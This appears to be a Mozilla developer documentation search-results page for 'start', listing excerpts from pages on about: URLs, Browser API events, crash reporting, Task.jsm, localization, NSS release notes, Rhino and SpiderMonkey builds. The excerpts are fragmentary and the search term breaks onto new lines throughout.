start page when opening a new tab about:performance displays memory and performance information about firefox subprocesses/add-ons/tabs about:plugins displays information about installed plugins about:policies lists out the firefox for enterprise policies about:preferences firefox settings (also available through firefox menu > options) about:pri...
...ng a new tab about:performance displays memory and performance information about firefox subprocesses/add-ons/tabs about:plugins displays information about installed plugins about:policies lists out the firefox for enterprise policies about:preferences firefox settings (also available through firefox menu > options) about:privatebrowsing
start page when opening a private window about:profiles display and manage firefox profiles about:protections privacy protections report consisting of enhanced tracking protection, firefox monitor and firefox lockwise data about:re
startrequired a page users are sent to when firefox requires a re
start due to an update about:reader indicates a web page has ...
mozbrowserscrollviewchange
non-standard this feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. the mozbrowserscrollviewchange event is fired when asynchronous scrolling (i.e. apcz)
starts or stops. general info specification non standard interface customevent bubbles yes cancelable yes target <iframe> default action none properties property type description target read only eventtarget the browser iframe type read only domstring the type of event. bubbles read only boolean whether the event normally bubbles or n...
...hether the event normally bubbles or not. cancelable read only boolean whether the event is cancellable or not. details read only object a custom object. ...
...— available values are
started and stopped. ...
Browser API
llowing new events can be listened for: mozbrowseractivitydone sent when something inside the browser <iframe> triggers a web activity, and that web activity's message is consumed by the receiving app. mozbrowserasyncscroll sent when the browser <iframe> content scrolls (the apcz version.) see also mozbrowserscroll. note that this is obsolete. mozbrowseraudioplaybackchange sent when audio
starts or stops playing within the browser <iframe> content. mozbrowsercaretstatechanged sent when the text selected inside the browser <iframe> content changes. mozbrowserclose sent when window.close() is called within a browser <iframe>. mozbrowsercontextmenu sent when a browser <iframe> tries to open a context menu. this allows handling of the <menuitem> element available within the browser <...
...thods.) mozbrowserfirstpaint sent when the <iframe> paints content for the first time (this doesn't include the initial paint from about:blank.) mozbrowsericonchange sent when a new icon (e.g. <link rel="icon"> or <link rel="apple-touch-icon">) is available in the browser <iframe>'s content. mozbrowserloadend sent when the browser <iframe> has finished loading all its assets. mozbrowserload
start sent when the browser <iframe>
starts to load a new page. mozbrowserlocationchange sent when a browser <iframe>'s location changes. mozbrowsermanifestchange sent when a the path to the app manifest changes, in the case of a browser <iframe> with an open web app embedded in it. mozbrowsermetachange sent when a <meta> elelment is added to, removed from or changed in the browser <iframe>'s co...
...rowserresize sent when the browser <iframe>'s window size has changed. mozbrowserscroll sent when the browser <iframe> content scrolls. mozbrowserscrollareachanged sent when the available scrolling area in the browser <iframe> changes. this can occur on resize and when the page size changes (while loading for example.) mozbrowserscrollviewchange sent when asynchronous scrolling (i.e. apcz)
starts or stops. mozbrowsersecuritychange sent when the ssl state changes within a browser <iframe>. mozbrowserselectionstatechanged sent when the text selected inside the browser <iframe> content changes. note that this is obsolete, and newer implementations use mozbrowsercaretstatechanged instead. mozbrowsershowmodalprompt sent when alert(), confirm(), or prompt() are called within a browser <i...
How to get a stacktrace for a bug report
this article describes how to use the mozilla crash reporter (breakpad) to get a crash id, which our engineers can use to get a stacktrace, and alternative ways to get a stacktrace if you can't get a crash id. requirements you need a binary build of firefox from mozilla.org. seamonkey and thunderbird also support crash reporting. ...
...nd submit a report to the system. the mozilla crash reporter window should automatically come up after firefox crashes. if you have any additional information about the crash, such as additional detail on what you were doing at the time that may have triggered the crash, please enter it into the comments box. be sure that you check the "tell mozilla about this crash" checkbox and click the re
start button. the crash reporter should now submit the crash report and firefox should open again. the "details" button gives additional data about the incident, however this is not useful in a bug report. 2. tell us the id of the report you submitted. to access all of your submitted reports type "about:crashes" into the firefox address bar and press ente...
...crash reports. copy two or three of the ids for the appropriate crashes and paste them into your bugzilla report. please check the listed times to avoid copying the id of an unrelated crash report. you can prefix a "bp-" to the beginning of an id to make bugzilla turn it into a link: bp-a70759c6-1295-4160-aa30-bc4772090918 how to get the crash id if firefox crashes on
startup if firefox crashes on
startup you can still access your submitted crash reports. crash reports are accessible from all firefox profiles, so if a new profile does not crash you can use it to access them through "about:crashes" as above. accessing crash report ids outside of firefox if you cannot load firefox at all you can find the crash report files at this location depending on your operati...
How to Report a Hung Firefox
irefox which will trigger the crash reporter: download crashfirefox.exe here (source code). running this tool will search for firefox.exe and inject crashing code into it. the tool also has command-line options to kill processes with other names or by process id. run the crashfirefox.exe tool. the firefox crash report ui should appear. please check the box to send the crash report to mozilla
start firefox. type "about:crashes" in the url bar and click on the top listing. the crash report should look something like this report, which is an example of bug 1132241. create a new bug report at bugzilla.mozilla.org using this link. linux and mac on linux and mac (firefox >=27), sending sigabrt to a process will trigger the crash reporter. you can use any process monitoring tool to find the ...
... a process will trigger the crash reporter. you can use any process monitoring tool to find the firefox process id (pid). then, in a terminal, kill firefox using a command such as this: # replace 31042 with the pid of firefox found above kill -n sigabrt 31042 # on osx kill -s sigabrt 31042 the firefox crash report ui should appear. please check the box to send the crash report to mozilla
start firefox. type "about:crashes" in the url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. all os as long as you do not need to be in firerfox's safe mode, a user friendly method of crashing firefox is to install and use the addon crash me now! (simple) use the menu button to find the crash me icon and click the icon. firefox crash report ...
... create a new bug report at bugzilla.mozilla.org using this link. all os as long as you do not need to be in firerfox's safe mode, a user friendly method of crashing firefox is to install and use the addon crash me now! (simple) use the menu button to find the crash me icon and click the icon. firefox crash report ui should appear. please check the box to send the crash report to mozilla
start firefox. type "about:crashes" in the url bar and click on the top listing. create a new bug report at bugzilla.mozilla.org using this link. another way to trigger a crash in a hung tab is to run the following script in the browser console (opened after selecting the hung tab): let wm = cc["@mozilla.org/appshell/window-mediator;1"]. getservice(ci.nsiwindowmediator); let win = wm.getm...
Task.jsm
the task.jsm javascript code module implements a subset of task.js to make sequential, asynchronous operations simple, using the power of javascript's yield operator. to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/task.jsm"); introduction for an introduction to tasks, you may
start from the task.js documentation, keeping in mind that only the core subset is implemented in this module. tasks are built upon generator functions and promises. the task.spawn() function takes a generator function and
starts running it as a task. every time the task yields a promise, it waits until the promise is resolved. task.spawn() returns a promise that is resolved when the task completes successfully, or is rejected if an ...
...t to exit early from a generator function, without returning a value for the task, you can just use the return statement without any arguments. note: if you want to return a result from a non-legacy generator function, don't use this. return the value instead: task.spawn( function*() { yield ... ; return "value"; } methods async() create and return an "async function" that
starts a new task. function async( atask ); async() is similar to spawn(), except that: it doesn't immediately
start the task, rather it returns an "async function" that
starts the task when the function is called; it binds the task to the async function's this object and arguments; it requires the task to be a function. async() simplifies the common pattern of implementing a...
...e.replace(/name/, name)); }).bind(this); }) }; with async(), the method can be declared succinctly: let greeter = { message: "hello, name!", greet: task.async(function* (name) { return yield sendgreeting(this.message.replace(/name/, name)); }) }; while maintaining identical semantics: greeter.greet("mitchell").then((reply) => { ... }); // behaves the same spawn() creates and
starts a new task. promise spawn( atask ); parameters atask this parameter accepts different data types: if you specify a generator function, it is called with no arguments to retrieve the associated iterator. the generator function is a task, that is can yield promise objects to wait upon. the promise returned by the task either fulfills with the returned value if generator returns or rej...
Webapps.jsm
the webapps.jsm modules exposes the domapplicationregistry, which is responsible for managing all of the open web apps. ...
... the webapps.jsm modules exposes the domapplicationregistry, which is responsible for managing all of the open web apps. ...
...rupdatehandler: function(ahandler) unregisterupdatehandler: function(ahandler) notifyupdatehandlers: function(aapp, amanifest, azippath) _getappdir: function(aid) _writefile: function(apath, adata) dogetlist: function() doexport: function(amsg, amm) doimport: function(amsg, amm) doextractmanifest: function(amsg, amm) dolaunch: function (adata, amm) launch: function launch(amanifesturl, a
startpoint, atimestamp, aonsuccess, aonfailure) close: function close(aapp) canceldownload: function canceldownload(amanifesturl, aerror)
startofflinecachedownload: function(amanifest, aapp, aprofiledir, aisupdate) computemanifesthash: function(amanifest) updateapphandlers: function(aoldmanifest, anewmanifest, aapp) checkforupdate: function(adata, amm) doinstall: function doinstall(adata, amm) ...
Index
notes. there is an established format for those, which is described in this document. 11 localization prerequisites internationalization, localization, delete to work on localization, you need a subset of the mozilla build prerequisites. on mac and linux, you should be just fine, and on windows, mozillabuild should get you everything you need. 12 localization quick
start guide guide, translation this guide is filled with all of the basic, technical information you need to get involved in the mozilla l10n program. 13 initial setup localization as a pre-requisite to contributing to the l10n program, you need to have access to code, tools, and a properly configured local environment (i.e., your personal computer). you also need to dete...
...ow to use pontoon to localize projects, from first sign-in to finalizing your contributions. along the way, we'll point out some sweet features that will make you more efficient and make your l10n contributions easier. 27 localizing without a specialized tool from the create a new localization document, an interested localizer can follow a technical step-by-step process that
starts the localization process by focusing on how to localize two of the primary types of localization files (dtd and properties) used in the mozilla source code. with that document, users can see immediately two localized files in their user interface by following closely and carefully the steps to create a language pack or a binary file that is ready for installation. repeating the process allows a ...
...2 svn for localizers intro, localization, svn, opensource welcome to the svn tutorial for localizers! here you'll learn the process of using svn to obtain mozilla website source files from the mozilla servers and pushing your localizations right back to them. first things first, we need to give you a brief introduction to what svn is and where you can find the necessary tools to get
started. if you're already familiar with this information, skip ahead to mozilla's svn repositories. 33 uplifting a localization from central to aurora guide, localization, mozilla localizers who are working on l10n-central are responsible for getting their work onto the aurora repository. 34 web localizability internationalization, localizability, localization, web ...
Localizing with Mozilla Translator
platform that supports java 1.7 or above supports mozillatranslator also. if you decide to use mozillatranslator, be sure you have java 1.7 or above installed on your system. like most cat tools, mozillatranslator employs glossaries and translation memory to leverage your work from previous translations, thus cutting time and effort when localizing new versions of mozilla applications. getting
started with mozillatranslator mt uses products as groups of localization files with a common root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt. this will remove obsolete strings and files from the internal database...
... a common root directory (for instance, you may have a product for thunderbird, other for seamonkey, other for dom, other for toolkit, etc.) you update your repository copy using your favorite repository tool, and then update the product(s) in mt. this will remove obsolete strings and files from the internal database of mt, and will present you with a list of new and updated strings. if you are
starting a new localization, all strings will be marked as new or updated.mt puts a fuzzy flag on each flag and saves it in its database. all this means is that the strings have yet to be translated. you can save your work in progress and reopen it to continue working by selecting view fuzzy from the edit menu. after translating those strings (if using the edit phrase dialog, you can get translation s...
...is you should review them, because for en-us strings with several possible translations, mt will choose one of them, which could not be the one you want. from cvs to mercurial in mt so, you have a firefox product in mt with a platform neutral and, inside it, several directories (''components'' in mt terminology) more or less like the second sample above, checked out from cvs. now, you want to
start working directly on mozilla-central (and l10n-central). what should you do? the first thing to do, once you have your mercurial local repository up and working, is create a new product... or more. with good oldie cvs, you could checkout just the locale content and, even more, you could checkout just ''the locale directories'' you were interested in. with mercurial, partial checkouts are not poss...
Mozilla Quirks Mode Behavior
(img elements) without alt attributes sometimes display placeholder icons in quirks mode. obsolete since gecko 2.0 html colors were parsed differently up to gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) (bug 121738). in quirks mode, the url fragment #top scrolls to the top of the page when there is no such anchor. obsolete since gecko 10.0 however, html5 requires this behavior, and
starting in gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7), this also works in standards mode (bug 80784, bug 93077). block and inline layout [this quirk is present in almost standards mode.] line height (not line-height) calculations are different to fix bug 5821 and bug 24186 (some other issues are described in bug 22274). see almost standards mode for more details. there are a b...
...d width (bug 277232). in quirks mode, tables with no rows/rowgroups have zero height even when a height is specified (bug 241161). something about the overhanging border (i.e., the half of the border that's outside the border-box) in border-collapse tables differs between quirks mode and standards mode. [see nstableframe::getdeflationforbackground and figure out what really differs, and when it
started differing.] gecko had bug 248239, where table cells acted as they had box-sizing:border-box applied for the purpose of the height property. this is fixed in gecko 16 (firefox 16) for standards mode but remains in quirks mode for compatibility with quirks mode behavior of other browsers. (firefox 16 / thunderbird 16 / seamonkey 2.13) since this version bug 338554 is fixed and (-moz-)box-sizin...
... now. frames in quirks mode marginwidth and marginheight on a frame are propagated to the contained body. in a frameset cols/rows specification 0* is treated as 1* (see bug 40383). obsolete the scrolling attribute on frame is handled differently. html parser in quirks mode, we parsed html comments in a non-sgml way compatible with other browsers instead of treating "--" as the comment
start and end delimiter. obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this quirk is now html5 conform and has been adopted in standards mode. original document information author(s): david baron, boris zbarsky see also mozilla's quirks mode ...
Measuring performance using the PerfMeasurement.jsm code module
well, and we welcome patches for other operating systems. for instance, let's measure instructions executed, cache references, and cache misses: let monitor = new perfmeasurement(perfmeasurement.cpu_cycles | perfmeasurement.cache_references | perfmeasurement.cache_misses); this creates a new perfmeasurement object, configured to record the specified event types. ...
...s | perfmeasurement.cache_references | perfmeasurement.cache_misses); this creates a new perfmeasurement object, configured to record the specified event types. it doesn't, however,
start to record data. now we want to benchmark a function that is pretty fast (but not fast enough), so we run it several thousand times: for (let i = 0; i < 10000; i++) { set_up_some_state(); monitor.
start(); code_to_be_benchmarked(); monitor.stop(); clean_up_afterward(); } we call the perfmeasurement object's
start() method when we want to
start recording, and stop() when we want to stop recording. this lets us record information only for the specific code section we want to measure. since we enable monitoring immediately before calling code_to_be_benchmarked(), and disable it as soon as i...
...o
start recording, and stop() when we want to stop recording. this lets us record information only for the specific code section we want to measure. since we enable monitoring immediately before calling code_to_be_benchmarked(), and disable it as soon as it returns, the code in set_up_some_state() and clean_up_afterward() is not measured. the monitor object automatically accumulates counts over
start/stop cycles (that is, it doesn't automatically zero the counters each time you
start recording). when you're done benchmarking, you can read out each of the counters you asked for as properties: let report = "cpu cycles: " + monitor.cpu_cycles + "\n" + "cache refs: " + monitor.cache_references + "\n" + "cache misses: " + monitor.cache_misses + "\n"; monitor.reset();...
Profile Manager
requirements: mac: an intel processor, i386 or x86_64 linux: any version capable of running firefox 4.0 windows: xp or later source code you can download the source as well: hg clone http://hg.mozilla.org/automation/profilemanager/ instructions for building can be found in build.txt. reporting bugs profile manager bugs should be reported in bugzilla, under testing -> profilemanager.
starting profile manager to
start profile manager, just launch profilemanager.exe (on windows) or profilemanager-bin (on linux and mac). by default, profile manager will manage firefox profiles, but you can also use it to work with profiles of other xulrunner apps, like thunderbird or seamonkey. to use profile manager with an application other than firefox, you need to launch it using the applicatio...
...a new profile, just click the new button from profile manager's toolbar. a dialog will appear that allows you to specify the profile's name, and optionally the profile's path, and the version of firefox (or other application) that will be used with this profile: launching firefox with a profile to launch firefox with a specific profile, select the profile in the main window, and hit the "
start firefox" button: firefox will be launched with that profile, and profile manager will terminate. the version of firefox which will be launched is indicated in the "firefox version" dropdown in the launch options box: there are several additional launch options available for firefox. these cause firefox to be launched with various command-line arguments. see command line options for a des...
...sion" dropdown in the launch options box: there are several additional launch options available for firefox. these cause firefox to be launched with various command-line arguments. see command line options for a description of these. launch option command line argument run firefox in offline mode -offline run firefox in safe mode -safe-mode
start firefox with a console -console
start new instance -no-remote note: it isn't possible to
start a second instance of firefox without passing it the -no-remote command line argument. for this reason, if you attempt to launch firefox using profile manager, and it detects that another instance of firefox is already running, it will automatically add the -no-remote argument for ...
Leak And Bloat Tests
ovide a consistent number from build to build where no source code has changed. provide reasonable coverage for the normal activities that a user performs. method current method: measure leaks and bloats, in a similar way to firefox (using xpcom_mem_leak_log and --trace-malloc). the method of testing memory bloat and leaks will be the same sequence of events, using the same set of test data.
startup main mail window open address book and message composition windows close address book and message composition windows quit the application future improvements will be discussed on the discussion page of the mozilla wiki. results printed on tinderbox output, these consist of: mail rlk reference count leaks mail lk total bytes malloc'ed and not free'd mail mh maximum heap size mail ...
..."local folders"); user_pref("mail.server.server1.type", "none"); user_pref("mail.server.server1.username", "nobody"); user_pref("mail.server.server2.check_new_mail", false); user_pref("mail.server.server2.directory-rel", "[profd]mail/tinderbox"); user_pref("mail.server.server2.download_on_biff", true); user_pref("mail.server.server2.hostname", "tinderbox"); user_pref("mail.server.server2.login_at_
startup", false); user_pref("mail.server.server2.name", "tinderbox@invalid.com"); user_pref("mail.server.server2.type", "pop3"); user_pref("mail.server.server2.username", "tinderbox"); user_pref("mail.smtp.defaultserver", "smtp1"); user_pref("mail.smtpserver.smtp1.hostname", "tinderbox"); user_pref("mail.smtpserver.smtp1.username", "tinderbox"); user_pref("mail.smtpservers", "smtp1"); user_pref("mail.s...
...rbox@invalid.com"); user_pref("mail.server.server2.type", "pop3"); user_pref("mail.server.server2.username", "tinderbox"); user_pref("mail.smtp.defaultserver", "smtp1"); user_pref("mail.smtpserver.smtp1.hostname", "tinderbox"); user_pref("mail.smtpserver.smtp1.username", "tinderbox"); user_pref("mail.smtpservers", "smtp1"); user_pref("mail.
startup.enabledmailcheckonce", true); user_pref("mailnews.
start_page_override.mstone", "1.9pre"); user_pref("mail.shell.checkdefaultclient", false); // ensure os x and outlook/oe books are disabled user_pref("ldap_2.servers.osx.position", 0); user_pref("ldap_2.servers.oe.position", 0); preferences in generated profile, but not set: user_pref("mail.root.none", "/home/moztest/.thunderbird/t7i1txfw.minimum/mail"); user_pref("mail.root.pop3", "/home/moztest/.thu...
PR_CreateThread
returning from this function is the only way to terminate a thread. arg a pointer to the root function's only parameter. ...
...returning from this function is the only way to terminate a thread. arg a pointer to the root function's only parameter. nspr does not assess the type or the validity of the value passed in this parameter. ...
...ss zero in this parameter, pr_createthread chooses the most favorable machine-specific stack size. returns the function returns one of the following values: if successful, a pointer to the new thread. this pointer remains valid until the thread returns from its root function. if unsuccessful, (for example, if system resources are unavailable), null. description if you want the thread to
start up waiting for the creator to do something, enter a lock before creating the thread and then have the thread's root function enter and exit the same lock. when you are ready for the thread to run, exit the lock. for more information on locks and thread synchronization, see introduction to nspr. if you want to detect the completion of the created thread, make it joinable. you can then use pr_join...
An overview of NSS Internals
n later be used to easily identify and retrieve it. it's important to note that nss requires strict cleanup for all handles returned by nss. the application should always call the appropriate dereference (destroy) functions once a handle is no longer needed. this is particularly important for applications that might need to close a database and reinitialize nss using a different one, without re
starting. such an operation might fail at runtime if data elements are still being referenced. in addition to the freebl, softoken, and ckbi modules, there is an utility library for general operations (e.g., encoding/decoding between data formats, a list of standardized object identifiers (oid)). nss has an ssl/tls module that implements the secure sockets layer/transport layer security network prot...
...as, which are an attempt to simplify management with the limited offerings of c (because there are no destructors). the idea is to group multiple memory allocations in order to simplify cleanup. performing an operation often involves allocating many individual data items, and the code might be required to abort a task at many positions in the logic. an arena is requested once processing of a task
starts, and all memory allocations that are logically associated to that task are requested from the associated arena. the implementation of arenas makes sure that all individual memory blocks are tracked. once a task is done, regardless whether it completed or was aborted, the programmer simply needs to release the arena, and all individually allocated blocks will be released automatically. often free...
...ble and works fine in all simple scenarios, for example if all (b) candidate issuer certificates have the same subject and issuer names and differ by validity period; however, it works only in a limited amount of more advanced scenarios. unfortunately, the world of certificates has become more complex in the recent past. new certificate authorities enter the global pki market, and in order to get
started with their business, they might make deals with established cas and receive so-called cross-signing-certificates. as a result, when searching for a trust path from (a) to a trusted anchor (root) certificate (z), the set of candidate issuer certificates might have different issuer names (referring to the second or higher issuer level). as a consequence, it will be necessary to try multiple diffe...
NSS 3.15.4 release notes
spr 4.10.2 or newer. nss 3.15.4 source distributions are also available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_15_4_rtm/src/ security advisories the following security-relevant bugs have been resolved in nss 3.15.4. users are encouraged to upgrade immediately. bug 919877 - (cve-2013-1740) when false
start is enabled, libssl will sometimes return unencrypted, unauthenticated data from pr_recv new in nss 3.15.4 new functionality implemented ocsp querying using the http get method, which is the new default, and will fall back to the http post method. implemented ocsp server functionality for testing purposes (httpserv utility). support sha-1 signatures with tls 1.2 client authentication. added ...
...tures with tls 1.2 client authentication. added the --empty-password command-line option to certutil, to be used with -n: use an empty password when creating a new database. added the -w command-line option to pp: don't wrap long output lines. new functions cert_forcepostmethodforocsp cert_getsubjectnamedigest cert_getsubjectpublickeydigest ssl_peercertificatechain ssl_recommendedcanfalse
start ssl_setcanfalse
startcallback new types cert_rev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post. new pkcs #11 mechanisms none. notable changes in nss 3.15.4 reordered the cipher suites offered in ssl/tls client hello messages to match modern best practices. updated the set of root ca cer...
...ev_m_force_post_method_for_ocsp: when this flag is used, libpkix will never attempt to use the http get method for ocsp requests; it will always use post. new pkcs #11 mechanisms none. notable changes in nss 3.15.4 reordered the cipher suites offered in ssl/tls client hello messages to match modern best practices. updated the set of root ca certificates (version 1.96). improved ssl/tls false
start. in addition to enabling the ssl_enable_false_
start option, an application must now register a callback using the ssl_setcanfalse
startcallback function. when building on windows, os_target now defaults to win95. to use the winnt build configuration, specify os_target=winnt. bugs fixed in nss 3.15.4 a complete list of all bugs resolved in this release can be obtained at https://bugzilla.mozilla.
NSS 3.34 release notes
sha-256 fingerprint: 5a:88:5d:b1:9c:01:d9:12:c5:75:93:88:93:8c:af:bb:df:03:1a:b2:d4:8e:91:ee:15:58:9b:42:97:1d:03:9c trust flags: websites, email the following ca certificates were removed: cn = certum ca, o=unizeto sp. z o.o. ...
...owing ca certificates were removed: cn = certum ca, o=unizeto sp. z o.o. ...
...5:65:6d:97:78:d4:d8:14:36:24 cn =
startcom certification authority sha-256 fingerprint: c7:66:a9:be:f2:d4:07:1c:86:3a:31:aa:49:20:e8:13:b2:d1:98:60:8c:b7:b7:cf:e2:11:43:b8:36:df:09:ea cn =
startcom certification authority sha-256 fingerprint: e1:78:90:ee:09:a3:fb:f4:f4:8b:9c:41:4a:17:d6:37:b7:a5:06:47:e9:bc:75:23:22:72:7f:cc:17:42:a9:11 cn =
startcom certification authority g2 sha-256 fingerprint: c7:ba:65:67:de:93:a7:98:ae:1f:aa:79:1e:71:2d:37:8f:ae:1f:93:c4:39:7f:ea:44:1b:b7:cb:e6:fd:59:95 cn = tÜbİtak uekae kök sertifika hizmet sağlayıcısı - sürüm 3 sha-256 fingerprint: e4:c7:34:30:d7:a5:b5:09:25:df:43:37:0a:0d:21:6e:9a:79:b9:d6:db:83:73:a0:c6:9e:b1:cc:31:c7:c5:2a cn = acedicom root ...
S/MIME functions
_setcontent_encrypteddata mxr 3.2 and later nss_cmscontentinfo_setcontent_envelopeddata mxr 3.2 and later nss_cmscontentinfo_setcontent_signeddata mxr 3.2 and later nss_cmsdecoder_cancel mxr 3.2 and later nss_cmsdecoder_finish mxr 3.2 and later nss_cmsdecoder_
start mxr 3.2 and later nss_cmsdecoder_update mxr 3.2 and later nss_cmsdigestcontext_cancel mxr 3.2 and later nss_cmsdigestcontext_finishmultiple mxr 3.2 and later nss_cmsdigestcontext_finishsingle mxr 3.2 and later nss_cmsdigestcontext_
startmultiple mxr ...
...sdecoder_update mxr 3.2 and later nss_cmsdigestcontext_cancel mxr 3.2 and later nss_cmsdigestcontext_finishmultiple mxr 3.2 and later nss_cmsdigestcontext_finishsingle mxr 3.2 and later nss_cmsdigestcontext_
startmultiple mxr 3.2 and later nss_cmsdigestcontext_
startsingle mxr 3.2 and later nss_cmsdigestcontext_update mxr 3.2 and later nss_cmsdigesteddata_create mxr 3.2 and later nss_cmsdigesteddata_destroy mxr 3.2 and later nss_cmsdigesteddata_getcontentinfo mxr 3.2 and later nss_cmsderencode mxr 3.2 and late...
... 3.2 and later nss_cmsdigesteddata_destroy mxr 3.2 and later nss_cmsdigesteddata_getcontentinfo mxr 3.2 and later nss_cmsderencode mxr 3.2 and later nss_cmsencoder_cancel mxr 3.2 and later nss_cmsencoder_finish mxr 3.2 and later nss_cmsencoder_
start mxr 3.2 and later nss_cmsencoder_update mxr 3.2 and later nss_cmsencrypteddata_create mxr 3.2 and later nss_cmsencrypteddata_destroy mxr 3.2 and later nss_cmsencrypteddata_getcontentinfo mxr 3.2 and later nss_cmsenvelopeddata_addrecipient mxr 3.2 ...
Necko walkthrough
s them with uri to ... nsdocshell::internalload nsdocshell::douriload opens the nsichannel for the uri (ns_newchannel) if "http:", it will be an nsihttpchannel nsdocshell::dochannelload nsuriloader::openuri passes an nsistreamlistener pointer, 'loader' to nsuriloader::openchannel - it creates an nsdocumentopeninfo object, which implements nsistreamlistener, i.e. has on
startrequest, onstoprequest, ondataavailable, the three functions in which channel responses are received asynchronously. nshttpchannel::asyncopen called from openuri; openchannel isn't named the best, since the opening happens in the context of openuri, its calling function. this is where it hits necko code. but the interface for clients of necko is important to consider: send requ...
...the opening happens in the context of openuri, its calling function. this is where it hits necko code. but the interface for clients of necko is important to consider: send request uri helps creates channel setup channel (headers, request data, response callback...) channel->asyncopen. receive response get a callback to each of these: nsistreamlistener::on
startrequest (header info) nsistreamlistener::ondataavailable (data in single or multiple chunks) nsistreamlistener::onstoprequest (no more data from http) this all happens on the main thread, in a non-blocking fashion: make your request on the main thread, then carry on and get the async response later, also on the main thread. there is an option to receive ondataavailable sp...
...t nspipeinputstream::asyncwait was called earlier, after the transaction was initially created and posted to the connection manager on the socket thread. and in that function it created a proxy callback because it wished to have oninputstreamready called on the main thread. back on the main thread: nsinputstreampump::oninputstreamready this function in turn calls nsinputstreampump::onstate
start, nsinputstreampump::onstatetransfer and nsinputstreampump::onstatestop. these functions call nsistreamlistener::on
startrequest, nsistreamlistener::ondataavailable and nsistreamlistener::onstoprequest respectively. and that brings us back to the nshttpchannel api and nsdocshell gets its data. ...
Rhino scopes and contexts
(); the easiest way to embed rhino is just to create a new scope this way whenever you need one. however, initstandardobjects is an expensive method to call and it allocates a fair amount of memory. we'll see below that there are ways to share a scope created this way among multiple scopes and threads. name lookup so how are scopes used to look up names? in general, variables are looked up by
starting at the current variable object (which is different depending on what code is being executed in the program), traversing its prototype chain, and then traversing the parent chain. in the diagram below, the order in which the six objects are traversed is indicated. order of lookups in a two-deep scope chain with prototypes. for a more concrete example, let's consider the following script: v...
...h the six objects are traversed is indicated. order of lookups in a two-deep scope chain with prototypes. for a more concrete example, let's consider the following script: var g = 7; function f(a) { var v = 8; x = v + a; } f(6); we have a top-level variable g, and the call to f will create a new top-level variable x. all top-level variables are properties of the scope object. when we
start executing f, the scope chain will
start with the function's activation object and will end with the top-level scope (see diagram below). the activation object has two properties, 'a' for the argument, and 'v' for the variable. the top-level scope has properties for the variable g and the function f. an example scope chain for a simple script. when the statement x = v + a; is executed, the sco...
...d be the ultimate parent scope: rhino follows the parent chain up to the top and places the variable there. after you've constructed your parent scope chain, the answer to question 2 may indicate that there are additional scopes that need to be searched that are not in your parent scope chain. you can add these as prototypes of scopes in your parent scope chain. when rhino looks up a variable, it
starts in the current scope, walks the prototype chain, then goes to the parent scope and its prototype chain, until there are no more parent scopes left. ...
Scripting Java
, and access fields, methods, and properties of those objects, we have a great deal of power at our fingertips. however, there are a few instances where that is not enough: many apis in java work by providing interfaces that clients must implement. one example of this is the thread class: its constructor takes a runnable that contains a single method run that will be called when the new thread is
started. to address this need, rhino provides the ability to create new java objects that implement interfaces. first we must define a javascript object with function properties whose names match the methods required by the java interface. to implement a runnable, we need only define a single method run with no parameters. if you remember from chapter 3, it is possible to define a javascript object wi...
...ject] in java it is not possible to use the new operator on an interface because there is no implementation available. here rhino gets the implementation from the javascript object obj. now that we have an object implementing runnable, we can create a thread and run it. the function we defined for run will be called on a new thread. js> t = new java.lang.thread(r) thread[thread-2,5,main] js> t.
start() js> running the final js prompt and the output from the new thread may appear in either order, depending on thread scheduling. behind the scenes, rhino generates the bytecode for a new java class that implements runnable and forwards all calls to its run method over to an associated javascript object. the object that implements this class is called a java adapter. because the forwarding to ...
... method, like in the previous runnable example or when providing various event listener implementations. to facilitate this rhino allows to pass javascript function when such interface is expected. the function is called as the implementation of interface method. here is the simplified runnable example: js> t = java.lang.thread(function () { print("\nrunning"); }); thread[thread-0,5,main] js> t.
start() js> running rhino also allows use of javascript functions as implementations of java interfaces with more than one method if all the methods have the same signature. when calling the function, rhino passes the method's name as the additional argument. function can use it to distinguish on behalf of which method it was called: js> var frame = new packages.javax.swing.jframe(); js> frame.addwi...
SpiderMonkey Build Documentation
refer the release notes under command line tools -> new features the release notes also states that this compatibility package will no longer be provided in the near future, so the build system on macos will have to be adapted to look for headers in the sdk until then, the following should help, open /library/developer/command...
...rsivemake (recursivemake is there as you'd likely also want to be able to build!) windows builds since version 28, threadsafe builds are the default, and should work out of the box on all posix platforms. hence, the following instructions should only be relevant if you're on windows or compiling an older version of spidermonkey. the mozillabuild batch file you used to open your shell (e.g.
start-shell-msvc2013.bat or
start-shell-msvc2013-x64.bat) determines whether the compiler toolchain will target 32-bit or 64-bit builds. to create a 64-bit build, note that you must configure with --target=x86_64-pc-mingw32 --host=x86_64-pc-mingw32. since the posix nspr emulation is not available for windows, a working version of nspr must be available to your build. the easiest option is to configure...
... # choose the appropriate sdk version for your version of os/x to build a 64-bit version on a 32-bit mac system (e.g. mac os x 10.5), you can use the following: ar=ar cc="gcc -m64" cxx="g++ -m64" ../configure --target=x86_64-apple-darwin10.0.0 to build a 64-bit windows version, you can use the following: $src/configure --host=x86_64-pc-mingw32 --target=x86_64-pc-mingw32 note: you must have
started your mozillabuild shell with the proper -x64.bat script in order for the 64-bit compilers to be in your path. whatever compiler and flags you pass to configure are recorded in the generated makefile, so you don't need to specify them again until you re-run configure. building your application while "how to build your complete application" is clearly out of scope for this document, here are s...
GCIntegration - SpiderMonkey Redirect 1
hing require write barriers. every time a pointer is updated, a small amount of code runs that may mark one of the objects involved in the update. this only happens if an incremental gc is in progress. spidermonkey uses a simple barrier commonly called a "snapshot at the beginning" barrier. the fundamental invariant that this barrier guarantees is that any object reachable when the incremental gc
started will be marked. in addition, objects allocated during the incremental gc are marked unconditionally. at the end of the gc, any reachable object must have been newly allocated or else reachable at the beginning, since objects can never go from unreachable to reachable. the end result is that all reachable objects are marked. a simple way to visualize the invariant is that, when an incremental g...
